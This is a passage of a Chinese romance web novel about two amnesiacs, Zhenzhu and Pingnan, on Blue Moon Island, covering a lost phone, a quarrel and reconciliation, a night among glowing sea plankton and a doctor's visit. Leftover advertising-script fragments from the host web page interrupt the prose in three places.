想到平南强烈要带着珍珠一起走,曲北自己都没有察觉到他的声音里带着一丝哄骗的意味:“他毕竟不是岛上的人,失忆是大事,难保不是脑子哪里受了伤,到时候里面有堆积的血块可不好。” “我明早要出岛,或许可以先带他去医院看看,然后联系警察或者其他人帮他找找家人。” 曲北八面玲珑,极其会洞察人心,明明珍珠什么也没说,他却好像都明白:“总好过他一直在岛上做无用功,况且就算他真是在岛上出的什么意外,等他恢复记忆,自然而然也会全部记起来,岛上的人就这么多,要是真有认识他的怎么可能还会等到现在。” 曲北到底年长她几岁,又是极其稳重的性子,说起这些话来有条有理,把事实掰开了在她面前讲道理,言辞恳切,却又一副置身事外的姿态,没有半点私心。 相处这么久,珍珠也知不管如何曲北定然是不会害她。 可涉及到平南,她的脑子变的极其清醒,难以被曲北这些迷惑性的话给绕住。 很大程度上,珍珠自己心里无比清楚,她把平南当作了同类。 没有记忆的珍珠,没有记忆的平南,他们本该就是同类。 珍珠总是分不清真真假假,岛上所有的人都认为是平南需要她,是她救了平南,给了平南的名字,给了平南住所,不管怎么看,生活在蓝月岛的珍珠好像也没有从这个失忆的少年身上得到任何好处。 只有珍珠明白,平南给了她最重要的归属感。 那是一道极不明显的分割线,蓝月岛和平南各占一端,她的心总会不由自主的朝向他的那一边。 珍珠解释不了为什么会是归属感,而不是什么安全感或者信任感这类的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 感觉,她把原因归结于自己和平南都失忆了的缘故。 她其实没有那么想平南离开,尽管知道那一天终究会来临,她也没有想过什么如果那一天晚一点该多好,这对平南不公平,他有回忆过去的权利。 杯里的冰淇淋悄然融化,珍珠却毫无知觉,莫名的,她想起了昨晚,她手下振振跳动的心脏,顺着掌心融进她的脉搏,平南隐在月光下那个乖戾的笑,凑在她耳边时温热的呼吸。 还有那个清晨,他彻夜挥动的蒲扇,乌青的眼圈,疼了两天的手。 珍珠沉默的太久,久到曲北再冷静也开始心慌,刚刚那样不好回答的问题都能被她四两拨千斤的还回来,这里却迟疑了,曲北一直维持的从容阒然裂开一条细缝,只能尽力维持。 “珍珠,他毕竟是个陌生人,你跟他也不认识,更何况他还是个男人。” 曲北有意识的停顿了一下,接着说:“你涉世未深,又没出过岛,不要为了一时的好心害了自己,平南是真失忆还是假失忆其实我们也没有办法分辨清楚对不对,那都是他一面之词。” “最重要的,我们要尊重他的想法。” 珍珠隐约感觉有一丝不对,这些话为什么说的好像是她不让平南离开一样。 她从来没有把平南当作过是自己的东西,也从来没有阻止他离开过。 找凶手是平南自己突然提出来的,珍珠没有直接向曲北透露出他的想法,保守了她和平南之间那个唯一的秘密。 “小北哥哥,你直接和他说就可以了,不用问我的。”女孩扬起一个温顺的笑,轻而易举就戳破了曲北自以为谨慎的伪装。 曲北在害怕,她看了出来,只是不明白曲北为什么会对平南出现在她的生活紧张,毕竟平南那点心思总是摆在明面上。 倒也不是脑袋空空,只有皮相的笨蛋,只是他太不屑于动什么歪心思,有着符合这个年纪的横冲直撞,坦率的让人心慌。 这也是曲北和平南的区别。 曲北脸色僵了瞬,眨眼睛又恢复成平静无波的样子笑道:“也是,那我等下去问他。” 珍珠乖巧的点点头,骤然想起什么似的问道:“小北哥哥,你知道江州在哪里吗?” 曲北刚镇静的心绪又猛然被拉高,“当然,你...想去吗?” “没有,我只是昨天在那个被拆下来的纸箱上看到了而已,上面写着制造厂商在江州市。”珍珠说的很无辜,“所以我就想,是不是小北哥哥就在江州工作。” 曲北微不可察的松了一口气,接过她手里那杯已经化成糖水的冰淇淋,在水池下洗干净纸杯才扔进垃圾桶里,“原来是这样,我都没仔细看呢。” “那你明天是回江州吗?” “对呀。”曲北擦干手,很惋惜的说:“又有好长一段时间见不到我们的小珍珠了。” 往常是九点上班,十二点关门,曲北也知道这里不会有什么生意,早早的锁上了门,嘱咐完小渔和谢嘉快点回家吃饭,便跟着珍珠一起往回走。 才到半路,平南突然一溜烟的从旁边窜了过来,嘴里还叫囔着什么,看到曲北和珍珠在一起脸色变了变,隐隐染上一抹愠色,眼神变得异常锐利。 曲北还没反应过来,平南就已经整个抱住了珍珠,往他身后一直缩。 嘴里哼哼的叫道:“王珍珠,快救我。” 23. 第二十三章 平南把他推在最前面,嘴里却嚷着要珍珠救他。 曲北脸色难看的要把从他从后面揪出来,结果反被平南一手扣住肩膀让他直直的面了上去。 珍珠夹在两人之间还有些愣,平南手肘抵在她的后背,大掌一扣将她按在胸口,唯恐她转过头看到那些可怕的东西,珍珠又听到了那紊乱的心跳声,像涛涛海浪般占据她的感官。 她觉得也许平南是该出去看看医生,他的心跳怎么总是这样的不规律。 平南应该是真的很害怕,抱着她的时候还微微颤抖,珍珠踟蹰地拍了拍他的后背,听到曲北破口愠怒道:“就一条狗你怕什么?” 平南哼哼两声,眼睛正对上咬牙切齿盯着自己的曲北,不甘示弱:“它追着我跑,我能不怕吗?” 也不知道从哪里蹿出来的疯狗,追着他就是一顿跑,还长的那么丑那么大。 珍珠闻言偏头看了那狗一眼,不由松了口气,抚慰性又拍了拍平南后背两下,这才和他分开些许,但又没完全分开,平南由单手抱住她改为双手抱住她的右臂,紧了紧道:“别看,那狗长的丑。” 阿黄像是听的懂人话,喉间嗷呜一声,将嘴里的东西放在地上,吐着舌头摆出一副听话的姿态。 岛上的狗多是‘家生子’,养来养去也就那几户人家,阿黄属于外来户。 关于阿黄的身世,有人说是从隔壁岛游过来的,毕竟狗会水游泳不算稀奇,虽然离蓝月岛最近的小岛哪怕是人力划船也要一个小时,换成狗不知道要刨多久。 也有人说他看到是游船上有人不要了,直接就丢了下来,这才来到了蓝月岛,总之阿黄是条无名无姓的狗。 蓝月岛人敬畏生命,更敬畏不屈的灵魂,阿黄吃着百家饭长大,倒也是个懂事的,见人从不狂吠,算是条懂得感恩的乖顺土狗。 三人的视线停在了阿黄吐出来的东西上,定睛一看,竟然是台手机。 珍珠醒来后就没见过几台手机,王淑华无人可联系,家里一清二白,二妞的手机她见过,是台很小的触屏机,但岛上信号不好,大家都不怎么爱用这些电子产品。 阿黄吐出来的手机尽管屏幕皲裂,但看得出,那顺滑的直角边框应该比二妞的手机还要贵点。 曲北一眼就看了出来,那是去年秋季发布的新款高配版,一台过万,岛上绝不会有人花这么大一笔钱去买部手机,他的视线转回到平南身上,警惕更高,盯着他紧紧抱着珍珠的手臂不悦道:“你的?” 平南瞪大眼:“看我干吗,我怎么知道。” 他要是认得出,那还能叫失忆吗,一台破手机连个壳都没有,谁认得。 阿黄哈气两声,立马叼起手机又朝平南靠近,翘着小尾巴一刻不停的摇摆,黑葡萄似的眼睛定定地看着平南等待夸奖。 “你,你别过来。”平南立马往珍珠身后缩,还不忘把曲北扯过来点挡住。 “王珍珠,你让它离我远点。” 阿黄垂下尾巴,喉咙里也发出“咕噜咕噜”的声音。 曲北:“……” 珍珠:“……好了好了,阿黄很听话的,不会咬人。” 平南哼哼唧唧收紧她的手臂说什么也不肯同意,最后还是曲北将那部手机拿过带回了王家。 平南用指尖戳了戳手机,眼神在上面停留了数十秒,低皱着眉不太确定:“这真的是我的?” 这玩意看着就不像能用的样子,也不知道阿黄是从哪里捡到的,还叼了一路,手机缝隙里全是淤泥,显然被雨水泡了许多天,从他昏迷到现在,蓝月岛光是下雨停电都有三回。 珍珠放下最后一个菜:“别看了,吃饭。” 王淑华并不知道曲北今天中午会过来,只做了几个家常小菜,一条清蒸鱼,辣炒扇贝,一份时蔬,还有一个西红柿蛋花汤,临时又多加了一个梭子蟹,还是和往常都一样的时间开饭。 曲北听见平南嗯了声,便顺从的走了过来。 王淑华知道他要明天要走问了一些事,曲北一一应着,余光里瞟见珍珠夹了一块腹背上的鱼肉,仔细挑掉里面的刺又自然的夹到平南的碗里,平南蹙了下眉,对上珍珠警告的眼神,悻悻把那块鱼吃了下去。 昨晚的菜式那样丰富,平南一筷子未夹,今日又跟不会吃鱼似的,就等着珍珠这样做。 许是察觉到他的目光,平南掀起眼皮刚好和他对上,清俊的脸略带挑衅的朝他勾了下嘴角,曲北活似嗓子眼里梗进了那根鱼刺似的难受,饭都没吃完就当着王淑华的面提出可以带他出岛。 王淑华自然和曲北想的一样,可在对上曲北投来寻求认可的目光时却意外没说话。 她心里一直不喜欢平南,但又知道自己多次发病时将他多次错认为自己那早逝的儿子,说到底这个少年不过就是有点娇气病的孩子,看起来和珍珠一般大小,心智纯良,久而久之,心思也有点复杂。 平南才不相信他有那么好心,幽幽道:“我为什么要跟你走,谁知道你安的什么心思。”等下半路把他从船上推下去也不一定。 曲北:“……” 珍珠在下面轻踹他一脚,平南吃痛的努了下嘴,拒绝了曲北的要求。 要出海他现在又不是没人,春山已经被他高超的智商心悦诚服,天天让他帮忙去教自己的小侄子谢嘉写作业,想出海简直分分钟的事,才不要跟着曲北这个看起来面相就很不好的人走。 珍珠只能饭后单独找到平南交谈:“小北哥哥明天会去江州。” “所以呢。” “你好像之前和我提过你说你想去江州,也许你可以去那里看看,小北哥哥说了会帮你的,他就在那边工作,也许那里会有你认识的人。” “王珍珠,你为什么总叫他小北哥哥。”他真是忍很久了,总是小北哥哥,小北哥哥的,曲北难道没有名字。 珍珠不知道他又抽什么疯,这讨论的根本就不是一件事,她不想在这件 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事情上多做争辩,反正一开始也只是曲北自己提出来的想法。 “随便你,爱去不去。” “我根本就不想去。” 平南说:“反正你总要惹我不开心。” 珍珠一听恼了,这和她有什么关系,她只是在陈述一个客观事实,免得平南将来后悔,什么叫总惹他不开心,她什么时候总惹他不开心了。 几乎是说完的瞬间,平南连自己都愣了下,为什么会是总,明明他是第一次对珍珠说出这样的话。 曲北最终还是一个人离的岛,离开时告诉珍珠会先帮忙把手机先拿去维修,如果可以恢复数据应该能直接找到平南的家人或是朋友来接他。 珍珠和平南吵架了,往常都会包容他小脾气的珍珠接连两天都没有理他,平南不懂,自己只是让她一视同仁而已,为什么珍珠就生气了。 而且他都说好了要在岛上找凶手,曲北一来,她又变卦。 他愤愤说完,长风含着冰棍,摇摇头表示自己琢磨不透这么复杂的心思。 小渔歪着头拿出嘴里的棒冰:“所以哥哥你为什么要生气,就因为珍珠姐姐不叫你哥哥吗?” 平南:“……” 谢嘉坐在她旁边哼了一声:“才不是,明明是珍珠姐姐见异思迁。” 平南眼睛亮了一下,难得谢嘉说了句能听的话。 “什么是见异思迁?”小渔问。 谢嘉:“笨,这你都不知道,就是看见别的异性就想把家搬过去。” 小姑娘眼里迸发出钦佩的目光,谢嘉也不管自己解释对不对,自傲的下巴尖都快指到天上。 平南:“……”这瞎解释,还不如不说。 但谢嘉说的意思其实也差不多,反正王珍珠就是因为在维护曲北和她生气,偏偏她还跟个没事人一样,根本不管他会不会生气。 他心里悲愤非常,捡瓶子的时候也心不在焉,被李阿婆抢走了好几个,平南回家心情很差的把口袋里所有的硬币放进罐子里,怎么看怎么不顺眼,拉开抽屉又要塞进去,上次还刚好卡住的角落,这次却怎么也塞不进。 他用力按了按,抽屉也跟着一起晃动,发出不堪承重的吱哑声,最上边的蓝色硬壳笔记本中间露出一个白边。 平南嘴角动了动,觉得这个抽屉也是个看人下菜碟的,把那个记事本拿了出来,瓶子终于塞了进去。 他盯了几秒想直接把本子塞回去,看着那个露出的白色夹角又怕把里面的东西弄折,默念了好几遍他不是有意要看的,这才翻开了记事本。 这栋二十年前起的小楼并不大,一楼只有一个王淑华在住的房间,剩下的分割成了餐厅和客厅,自从王淑华那次在海边将他错认,平南大概也猜出了这是珍珠父亲的房间,所以一直没敢乱碰里面的东西。 泛黄薄干的纸页被翻开,里面是一张褪色的照片,苍茫的大海旁,年轻的男人穿着黑色的夹克外套,让稚幼的女孩坐在肩头。 24. 第二十四章 还.......真是一点也不像。 这也长的太开了吧,简直就像换了一个人,要是从现在往回看这绝对算得上是黑历史,估计她自己看了都不敢承认。 平南像是看着什么好玩的东西,视线在那张老照片上打转,发现珍珠竟然一点也看不出来和男人有相似的地方。 也许她长的像她的母亲? 平南记得王淑华说过那个名字,玉兰。玉兰花隽秀纤柔,倘若人如其名,她应该是像她的母亲一般美丽。 当然这件事也无从考究,王淑华没有在家里挂任何照片,没事就喜欢待在自己那个小房间里关着门,就跟里面有什么宝贝似的。 他把照片翻转,背后是一行小字,日期和本子上的一致。 「九月一十五日,今天和玉兰带她去镇上玩,珍珠扯着一条裙子不肯走,老板娘说现在小女孩都穿这种裙子,夸珍珠穿上去就像小公主一样,有时候觉得真的很神奇,她生下来的时候那么小,跟我巴掌差不多大,怎么一转眼就变成了小姑娘。 玉兰没同意,说那条白色的公主裙容易脏不好洗,珍珠立马举着小手说可以自己洗,小姑娘都会自己想办法了,我的小珍珠真厉害。 但玉兰最后还是没有买那条纱裙,买了对面那条蓝色的裙子,她说那条裙子珍珠穿起来也很好看,容易洗还不兜脏。我知道那只是玉兰找的借口,白色的裙子超出了我们的预算范围,现在建房子哪里都需要钱,我已经亏欠了她们太多,要是钱再多一点就好了,还好我的小珍珠是个忘性大的小糊涂虫,她说她很喜欢这条裙子。 财哥也说珍珠穿这条裙子好看,说我得了个听话的好女儿,不像小北那样调皮,我想这也许是上天对我最好的眷顾,才让我拥有了玉兰和珍珠。 我一定要努力赚钱,早日把账还清,再也不让玉兰有这样为难的时刻,谨记!谨记!!!」 「九月二十二日,昨天岛上举办了祭海节。珍珠趁我们没注意偷吃了好多红菓子,说里面的豆沙好甜,结果晚上胀的肚子疼,一直到半夜才睡着,还好陈医生说她没事,只是太贪吃积食了,现在想想依旧觉得后怕。 父亲刚刚告诉我,可能买船的计划还要再等两年,之前做工的钱那个老板一直没给,也许要等到明年去了。我看着父亲额角的白发有时候觉得这个世界真是不公平,明明他们都已经那么有钱,为什么还要拖欠我们的工资。房子好不容易才建到一半绝对不能停工,如果海神娘娘能够听到的我愿望该有多好,我只是让小珍珠拥有一个自己的房间而已,难道这么微小的愿望也不能成全我吗?」 楼下浴室突然传来一声关门的哐响,平南慌张的往枕头下面一塞,躺在床上装作若无其事的样子。 周围传来不太真切的蝉鸣声,窗帘没拉,他躺在那正好可以看到走廊外面,觉得过了这么久也许他应该给王珍珠一个改过自新的机会,勉为其难留一个台阶让她可以找自己说话。 平南喉结滚了滚,结果半天也没见着珍珠过来,枕头下的本子咯的他头皮发麻,睡意全无,他打开门,在天台上不小心碰到了珍珠。 夜空下女孩的背影清冷,撑手坐在天台边望着远方。 银霜洒满海面,澹澹水波的尽头映出一轮硕大的皎月,靠近沙滩处竟有粼粼蓝光随着涛声在闪烁。 平南不喜欢这种太高的地方,这座小小的房子在他心里一直很不安全,上次下暴雨的时候房间整个窗户都在哐哐的响,看起来随时可能会炸开,还有她坐的那个位置,连个防护装置都没有,危险指数更高。 他觉得自己会愿意坐下来纯属于是觉得珍珠这样看起来太可怜了,还有一些刚刚偷窥了她过去的负罪感。 “怎么不回房间吹头发。”平南指尖扣了扣粗粝的石壁,明明用的一样的沐浴露,却总是到她身上就会变得更加温润,连空气里那些海风椰树的自然气息都会闻不到。 上次用完去超市,他选的不是薄荷味吗,怎么会甜丝丝的。 珍珠淡淡道:“反正不吹也会干。” 她瞟一眼嘴唇抿成直线的平南又道:“不过还是谢谢你,等冬天的时候我会用的。” 平南眉头稍稍轻扬:“蓝月岛,冬天是什么样子,会下雪吗?” “忘记了。” “……”还挺会敷衍人,平南搭在空中的长腿晃了一下,“反正我冬天的时候也可以自己来看。” 珍珠目视前方弯了下嘴角:“那你就冬天自己来看吧,也许这里比岸上还要冷。” 这说的就跟她从来没见过一样,平南决定把那个台阶再顺点,不和她计较,“那你想要什么吗,说不定我到时候能带过来送给你。” “哧。”珍珠被他逗笑,“怎么,你准备当圣诞老人替别人实现愿望。” 平南偏过头,话到了嘴边又打了个弯,语气懒洋洋的说:“也不是不行,看在今晚月亮还不错的份上,我允许你多许几个。” 珍珠望着天边那半轮残月,思忖了几秒,倏地抬眼身子往前探了一点,“真的?” 平南用力抓紧围墙,不知道她怎么突然靠的这么近,眼睛还那么亮:“当,当然。” “那我现在就有一个。” “平南,我们去抓星星吧。” …… 那是她在某个深夜里看到的,寂静的海边竟然泛起蓝色的火焰。 直到今夜她才敢真的靠近,宝蓝色的萤光随着潮波动,犹如星星坠海,在海边汇成了一条流动的星河。 珍珠脱了鞋往里走,才一步,就被平南手肘圈住脖颈给拽了回去。 “这什么东西都不知道你就往里面走。” 珍珠扭了扭脖子没挣脱开,看看海又看看平南,最后用手肘碰了碰他的腰道:“那你去。” “……我不去。” “那我去。” “你也不准去。” 好不容易到这她怎么可能不去,而且珍珠最近观察到这种现象越来越少,说不定今晚就是最后一场,身子一缩从平南的手里逃了出来,往前跑。 “王珍珠。” 珍珠烦闷的啧了一声停住脚步,转过身踢了一脚地上的白砂,两腮气鼓鼓的,大有一副后悔叫上他的意思。 “……你站住......我先去试试。” 这景象壮观也怪异,平南从没见过这种场面,无可避免产生抗拒的心理,觉得站在岸边看看就行了,蓝月岛晚上太黑太静,白日碧波万顷的大海入夜更像一头蛰伏的巨兽,肃穆危险,让人心生怯懦。 “你们,你们,”平南用力吞咽了一口,才把话说完,“这...里没有什么奇怪的东西吧。” 珍珠打量朝他走近了点,瞪圆了眼睛说:“什么东西?” 平南拧紧眉,略略有些不安:“就是,就是那种东西啊。” “那种东西。” 珍珠若有所思地重复道,突然张开手掌,用力一抓,朝他‘嗷呜’一声。 平南怔愣住,眼底映出珍珠那张故意捉弄的小脸,少女明媚的五官带着天然的娇憨,眸光清亮的眼睛蕴满狡黠的笑意,嘴不知道在一张一合冲着自己在说些什么,手舞足蹈,好像很夸张的样子。 他也许遇见了比大海还厉害的东西。 也没这么恐怖吧,都吓走神了,珍珠碰了一下他收回手,声音提高了点,郎朗海风伴随着她的声音终于灌入平南的耳朵。 “骗你的,才没有那种东西。”反正她是没在蓝月岛见过什么海怪。 平南点点头沉默不语。 珍珠觉得自己可能真的说过头了,招招手道:“你蹲下。” 平南神思未定,转身背向她蹲下身。 珍珠伸臂搂住他的脖颈,趴在他肩头念念有词说:“好了,这样你就不用怕了。” “快快快,等下就要没了。” 平南背着她稳稳起身,心甘情愿走近了那片星海。 冰凉海水盖过他的脚背,平南稍稍回过神来,把珍珠往上掂了掂,星光万点从他们脚下穿过,珍珠低头看着那一片璀璨,悄然瞪大了眼。 她手臂激动在平南颈部摩挲,“你快动一动。” 平南轻轻踢了一脚,水花涟漪所到之处皆泛起星光。 珍珠两只手摸上他微凉的耳垂,捏捏右边说:“往这边走点。” 又捏捏左边道:“往这边也走点。” “你快看,你的脚印。”平南在她胡乱的指挥下在沙滩上留下一长串发光的脚印。 珍珠挣扎着从他背上跳下来,双脚踩进水里,移开,兴高采烈道:“这是我的。” 她抬头,陡然撞进一双比月光更沉静的眸子里,海水起伏,水中的脚印重新分散成新的星星,在他们的脚边汇合,珍珠不由往后退一步。 平南伸手握住她的手腕,定定地看着她:“抓着我,不准离开我太远。” 说是抓住他,可平南自始至终就没有松开过她的手,海风鼓动着他们单薄的衣服,沉睡的蓝月岛只有他们在璀璨的夜幕见证这场触手可及的星海。 珍珠缩了缩手,没挣脱开。 直到月亮西沉,清辉流光占据了整片夜空,两人才停止打闹,平南背上玩到倦怠的珍珠往家走。 离开海边一段距离,四周逐渐安静下去,灌木丛里的唧唧虫鸣响着昏昏欲睡的曲调。 珍珠安静伏在他的肩头,突然听见平南支支吾吾道:“我们这样算不算和好了。” “……勉强算吧。” 平南对这个答案很不满意,缓缓蹙起眉:“什么叫勉强,和好就是和好,不和好就是不和好,不愿意你就直接说。” 珍珠:“那如果我说了你要怎么办?” 平南想也没想:“那我跟你道歉。” 珍珠意外的挑挑眉:“为什么要道歉?” “我...不该那样说你。”他也不知道为什么,就跟那话一直挂在嘴边似的,根本没有经过大脑就说了出来,跟口头禅一样顺口。 “那好吧,我勉强接受。”珍珠歪头靠在他的身上,眼皮开始有些沉。 平南暗暗松了一口气,静了一会还是问出口:“你总是看星星是在想他们吗?” 珍珠不解的侧了下头:“谁?” “就是...他们。”他不知道怎么去称呼逝去的江平夫妇,安慰人这种事对他而言很生硬,又怕具体提起她会难过。 珍珠明白他在说什么,垂眸眼睫扇动了几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,说了实话:“我不知道。” 失忆带走了她的全部记忆,睡不着的夜里她也不知道自己究竟在看什么,因着王淑平,岛上很少有人和她说过去的事情,最多当她‘无意’间提起的时候,大家会用一种怜悯的眼神告诉她,以前的事情都过去了,既然忘了就算了。 她不知道怎么算了,王家家徒四壁,连一张关于她过去的照片也没有,这能怪谁呢,珍珠想,也许谁也怪不了,可能是她父母缘分浅吧,亦或是她习惯了竟不知道从哪里开始难过。 曲北告诉她,忘记未尝不是件好事。与其永远被困在潮湿的雨夜里,不如直接将过去抹平,失去有时候也是一种得到,她忘记的都是痛苦的回忆,以后要做一个快乐的珍珠。 起初她听到的时候很无措,如果忘掉的都是痛苦的回忆,那她的过往岂不是从没有快乐过,那么多年竟然没有一丝想留下的记忆。 曲北沉默了很久,最后摸摸她的脑袋说,以后会好的。 会好吗?珍珠不知道,也许会吧,如果王淑华的病情再稳定点,如果蓝月岛的雨再少点,如果...有个和她一样的人。 太不公平了,大家都记得,怎么就她忘了。 蓝月岛上只有她一个人不快乐吗?明明大家都为生活奔波劳走,晨昏颠倒,怎么只有她一个人受不了这种生活,这未免太过软弱。 出海的渔船那么多,为什么就只有她的家人留在了海底。 大家都见过陆地,为什么只有她要被困在蓝月岛上。 这实在太不公平。 珍珠曾在夜空下无数次心里冒出那些阴翳的想法,要是有一个人和她一样就好了,拜托老天,不要只让我一个人这样,像个异类一样活着。 她扭了扭身子,平南会意的把她上托了托,珍珠抵在他耳旁小小声道:“我也和你道歉。” 平南有些愣然,侧过头刚好贴在她的额角,无法再继续看到珍珠的表情,心跟有只蚂蚁在咬似的难受,别扭道:“你知道就好。” 他其实觉得珍珠用不着和他道歉,因为他早就宽宏大量原谅了珍珠单方面对他的冷战。 “那你说你原谅我。”珍珠紧了紧搂他的手臂,那股不依不饶的劲又上来了,总是要听到他确切说出答案才肯放心。 平南努了努嘴,觉得再不说肯定会被她这样勒死,故作姿态道:“那好吧,不过你下次不准再惹我生气了,这次我就先原谅你。” 过了一会他又觉得自己这样说不太对,听上去很没心肝一样,不知好歹,为着这一点小事在这里斤斤计较,事实上那天珍珠可以用更快捷的办法,直接把他赶出去,就像她说的爱去不去,她也可以改成让你滚你就滚。 平南声音低了些:“其实你明明可以叫我…” 珍珠打断他,像是知道他会说什么,“可是你会难过,不是吗。” 看起来很没经历过挫伤的平南,会因为注意力被分走就生气的平南,一生气就会装冷漠只吃白米饭来彰显自己态度的平南,能够接受自己听到那些不近人情的严肃话? 平南太好理解了。 “我觉得人和人之间不要太复杂,你想留下就留下好了,没什么大不了的,这个世界可以选择的东西太少,如果这样会让你快乐,我尊重你的选择。” 珍珠不想让气氛太过凝重,玩笑道:“而且你愿意留下就说明我人应该还是挺不错的,是不是很符合人美心善这个词。” 平南不说话了,珍珠也没为难他真的要承认那四个字,趴在他宽直的背上直犯困,摸了摸,骨头太硬了,咯的她脸疼,珍珠自己往上爬了爬,埋在他的脖颈处,心里迷迷糊糊的想,以后要加强督促他好好吃饭,这睡着也太不舒服了。 半梦半醒之间,她好像又听见了平南开口。 平南说了遍没反应,歪着脑袋夹了她一下,提高了点音量:“你有没有带别人来过?” 珍珠恹恹睁开眼:“没有。” 她要是去过,还能不知道那是什么,只敢远远看着? 平南一字一句道:“那你要记得。” “记得什么?”珍珠复又睁开眼。 平南清了清嗓子说:“你第一次是我陪你来的,所以你以后不能跟别人一起去。” “特别是曲北,他看着就别有用心不像个好人,你听到没,你不准和他一起去,也不能告诉他海边有星星。” 他停顿了下,一不留神竟然将心里话全部说了出来,平南很不喜欢曲北那副少年老成的理智样,很讨厌还特别熟悉,就好像他生命里曾经真的有过这种人一样,想想都要打个哆嗦。 见珍珠没吭声,他断断续续又说了好多,可算给自己说痛快了,就是半晌没得到珍珠答复这点让他很不满意,他转过头,脸颊蹭上一片温热,耳边是轻缓的呼吸。 “王珍珠。” 珍珠不耐的蹭蹭的他的脸颊。 平南软了语气,很小声:“你还没说你记住了。” “……好,我会记得的。” 珍珠在彻底睡过去之前,终于回答出平南想要的答案。 但她更想告诉平南,其实他不说她也会永远记得这个夜晚,有一个圣诞老人,在夏天陪她抓住了星星。 25. 第二十五章 王淑华常规吃的药有五种,大部分是精神类药品。 陈医生仔细在每个药盒上写下说明:“这个早上三片,这个睡前吃两片就可以了……这个看情况吧,没有很严重可以不吃,如果惊恐发作特别难受就吃一片,再加两片这个……哦,对了。” 她站起来从后面的玻璃橱柜拿出一个白色小瓶装进塑料袋里,“这个也拿着吧,平时吃一小片就行。” 珍珠记住:“好,谢谢陈医生。” 陈医生埋头写起了药单,随口聊道:“前两天碰见你奶奶看起来精神好了很多,最近应该没出什么事吧。” “没有,”珍珠回忆说:“就是感觉她最近睡眠不太好,有时候睡三四个小时就醒了。” 不知道是药物的原因,还是王淑华每次都将平南错认为逝去的儿子在发病期间得到了安抚,最近这一个月确实稳定了很多,起码不会一发病就往外跑了。 “这些都是药品正常的副作用,没关系,晚上的药可以早点吃,等过了这一段适应期就好了。” 陈医生看着她乖巧点头的模样,慈爱道:“也是多亏了你,要不然这些药她怕是到现在也不肯吃。” 王淑华对西药的抗拒达到一种极端,平时什么头疼脑热都是自己熬点汤汤水水就灌下去,更别说这种什么精神类的药品,王淑华宁愿相信自己是快死了,也不肯承认她得了自己心里认为的‘金贵病’。 生活在贫瘠海岛、社会底层,王淑华狭窄的学识见广对这种精神类的疾病有着自己浅显的见解,觉得无非两种,一是得了精神病就直接变疯子,二是伤秋悲春的无病呻吟。 她年轻时是个极其要强的人,采珠下海一把好手,脾气执拗暴躁,家里事无巨细都要经过她的意见,和别人拌个口角,能在家门口说三天。 王淑华不能接受自己是后者,觉得还不如疯了来的体面,海岛村妇哪有资格生那种浪费钱的心理病,不痛不痒的,这不是纯属浪费钱。 蓝月岛老一辈受教育程度普遍不高,那时大家都认为王淑华可能快疯了,没有人觉得这是一种病,也可以说是没有人认为这是一种病,只是一个命苦的老妇人承受不住世俗的打击所以精神失常,毕竟谁经历这样的事都无法接受。 一个没有丈夫没有儿子的老妇人,十来年的反复发作消磨了大家的耐性,觉得可怜又头疼,可是能真的不管吗。 那是活生生的一条人命,王淑华从出生起就扎根在蓝月岛上,这里的每一个人都是,盘根错节,大家都不想当坏人也做不到视若无睹。 还好,她找到了她的孙女。 王淑华变的听话正常,尽管还是不够稳定,但这已然超出了预期,大家甚至在王淑华身上又看到了过去那个骄傲好胜的采珠女。 珍珠拿好药没直接走,陈医生照例也问了她的状况,毕竟现在王家人员组成太过特别,超出了蓝月岛人的预料。 珍珠一一作答完,陈医生又问起了她的睡眠问题。 陈医生:“还是多梦吗?” 珍珠温吞的眨眨眼:“陈医生,你做梦的时候能看得清梦里的人吗?” 陈医生略思索了会:“如果是见过人,有时候可以记得。” “你……是梦见谁了吗?” 珍珠:“我不知道,我看不清他的脸。” 陈医生:“这很正常,很多人做梦醒来都会忘记。” “可我总是梦见他。”好多个好多个重复的梦境,珍珠都梦见过那个人,她不安的扣着指腹,“陈医生,我是不是也要吃点药。” 陈医生恪守医生准则,继续询问:“这个梦让你很难受吗?” 珍珠低着头摇了摇,又迟疑的点点头不确定,语气有点急躁:“我不知道,他总是变的很快,有时候对我很好有时候对我很坏。” 陈医生:“你害怕他?” 珍珠说不上来,但也不想在医生面前隐瞒自己的病情,“可能吧,但我好像更害怕他不管我。” 这种感觉太复杂了,她怎么会对一个梦里的人产生这么多的情绪。 “而且有时候我会觉得一些场景很熟悉,就好像曾经发生过一样。” 陈医生眼神有些复杂,想了想拿了点安神药给她,安慰道:“不用太紧张,心理学上有个词叫‘海马效应’,在大脑中的知觉系统和记忆系统相互作用下就会让人产生一种似曾相识的感觉,多注意休息,睡前不要想太多事情,保持大脑放松的状态。” 珍珠暗自松了口气,问了今天另一个重要问题:“陈医生,有可以让人多吃点饭的药吗?” 陈医生:“?” “不用一次性吃特别多,就是比以前多点就行。” 陈医生不由多看了她两眼:“这倒暂时没有,不过没胃口一般是脾胃虚弱引起的,我可以开点中药试着调理下。” “谢谢陈医生。” 珍珠准备离开时陈医生又送了她两个小草药包,说放在枕头旁边可以助眠。 她捏着草药包礼貌道谢,走到小院门口突然想了起来,回头道:“陈医生,你去过江州吗?” 二妞和她说过,陈医生年轻的时候可是岛上的天才,硬是直接读了出去,还在大城市做过主治医生,前几年才从外面回来在岛上开了这家小诊所,听说是工作上犯了错,自己辞职的。 陈医生神色顿了一刹,露出一个微笑:“去过。” “可是我觉得,哪里天空都不如蓝月岛的好。” 珍珠抬头望着天上的悠悠飘动的白云,耳边海潮回响,此时的蓝月岛正值盛夏,最热也最温暖。 …… “珍珠,你来的正好,这个你带回去吃。”阿婆说完转身从屋子拿出一袋鱼丸塞她手里。 她推脱不过,只好乖巧的说谢谢。 阿婆看着她漂亮讨喜的脸蛋心生怜爱,忍不住拍了拍珍珠的手多念叨几句,“叫你奶奶少操点心,不要总想那么多,这日子还不就这样过的,你也是,要多吃点饭,这么瘦怎么行。” “知道了,谢谢婆婆。” “好孩子。” 本来她还要去冷饮店走一趟,但这鱼丸是冷冻品不能久放,珍珠绕到另一条路上往家走,路上见人便有礼貌的打招呼,到二妞家门口的时候,手里已经不知道多出了多少东西,跟去进了一趟货似的。 